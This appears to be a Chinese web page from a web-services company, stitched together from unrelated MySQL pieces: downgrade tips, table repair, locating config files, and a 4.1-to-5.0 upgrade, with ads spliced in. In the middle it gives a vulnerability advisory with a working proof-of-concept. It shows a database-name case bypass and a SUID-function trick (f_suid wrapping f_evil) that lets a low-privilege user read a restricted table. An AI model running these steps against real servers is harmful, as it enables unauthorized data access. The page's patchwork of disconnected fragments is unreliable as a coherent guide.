重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
可以在5.45中使用mysqldump将数据导出。然后安装mysql4.0.26,然后将数据导入,注意在mysql4.0.26中,不支持多字符集,所有的字符的存储都是latin1的。因此最好在5.45中先mysqldump出表结构,然后再mysqldump出数据;再在mysql4中创建数据库和表,创建的时候去掉表的字符集的选项,表创建好后再将数据导入库中。
成都创新互联公司专注为客户提供全方位的互联网综合服务,包含不限于成都网站设计、成都网站制作、阎良网络推广、成都小程序开发、阎良网络营销、阎良企业策划、阎良品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;成都创新互联公司为所有大学生创业者提供阎良建站搭建服务,24小时服务热线:18980820575,官方网址:www.cdcxhl.com
1、创建数据库
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、权限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建议:
厂商补丁:MySQL AB
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。
有两种方法,一种方法使用mysql的check table和repair table 的sql语句,另一种方法是使用MySQL提供的多个myisamchk, isamchk数据检测恢复工具。前者使用起来比较简便。推荐使用。
1. check table 和 repair table
登陆mysql 终端:
mysql -uxxxxx -p dbname
check table tabTest;
如果出现的结果说Status是OK,则不用修复,如果有Error,可以用:
repair table tabTest;
进行修复,修复之后可以在用check table命令来进行检查。在新版本的phpMyAdmin里面也可以使用check/repair的功能。
2. myisamchk, isamchk
其中myisamchk适用于MYISAM类型的数据表,而isamchk适用于ISAM类型的数据表。这两条命令的主要参数相同,一般新的系统都使用MYISAM作为缺省的数据表类型,这里以myisamchk为例子进行说明。当发现某个数据表出现问题时可以使用:
myisamchk tablename.MYI
进行检测,如果需要修复的话,可以使用:
myisamchk -of tablename.MYI
关于myisamchk的详细参数说明,可以参见它的使用帮助。需要注意的时在进行修改时必须确保MySQL服务器没有访问这个数据表,保险的情况下是最好在进行检测时把MySQL服务器Shutdown掉。
-----------------------------
另外可以把下面的命令放在你的rc.local里面启动MySQL服务器前:
[ -x /tmp/mysql.sock ] /pathtochk/myisamchk -of /DATA_DIR/*/*.MYI
其中的/tmp/mysql.sock是MySQL监听的Sock文件位置,对于使用RPM安装的用户应该是/var/lib/mysql/mysql.sock,对于使用源码安装则是/tmp/mysql.sock可以根据自己的实际情况进行变更,而pathtochk则是myisamchk所在的位置,DATA_DIR是你的MySQL数据库存放的位置。
需要注意的时,如果你打算把这条命令放在你的rc.local里面,必须确认在执行这条指令时MySQL服务器必须没有启动!检测修复所有数据库(表)
首先打开MySQL数据库MySQL Workbench 6.3 CE,这个是MySQL数据库的管理工具 ,如下图
点击Server Status,如下图所示
管理界面上则显示了MySQL的服务状态,如下图
下图红色圈出内容即为MySQL的配置文件my.ini,而且往下拉也有各种文件的具体位置和数据的存储位置,这样看来就一目了然了
接下来我们就根据界面上所显示的位置,例如小编的位置就是C:\ProgramData\MySQL\MySQL Server5.7\my.ini,在文件资源管理器的地址来输入,就可以跳转到文件所在位置,此步应根据自己的MySQL安装位置来操作。如果直接输入地址,提示错误信息,此时只要输入C:\ProgramData\,(视自己的安装位置而定)再对应找就行了
6
打开文件就可以对端口、文件存储位置等各种配置信息进行修改,修改之后重启数据库服务,如果第一次修改,最好借鉴网上其他人的经验,一步一步来,避免出现差错。本次分享到此为止,谢谢!
我们知道,mysql的不同版本,有可能会存在着一些差异,比如:
hive中支持的数据转换:
linux一次导入多个sql文件
1) 首先备份MySQL4.1上的所有数据库,包含系统库和非系统库
2) 卸载掉MySQL4.1版本,并清除掉MySQL数据自身的系统库(库名MySQL)
3) 新安装MySQL5.0版本,并启动之
4) 从主控上,对这个MySQL服务器做检测与修复,重建所有MySQL帐号
5) 将原先的用户数据库,覆盖回去,即可运行
其中有几点需要特别注意:
1) MySQL的系统库mysql一定要移除,否则新装mysql5.0后会无法启动
2) 必须使用检测修复的方式来重建mysql上的所有用户名和密码
3) 回盖用户数据时候,千万不要覆盖MySQL的系统库mysql,
否则会启动失败
4) 要使用直接移动/var/lib/mysql/库名/数据库文件的方式
而不能使用mysqldump方式将数据库转成sql脚本
一旦做了sql脚本转换,几乎一定会出现乱码问题
而直接移动、复制数据库文件,就不存在乱码问题
mysql4.1和5.0的升级会平滑完成,所有字符集浏览全部正常
特别注意事项:主控数据库所使用的mysql版本不能升级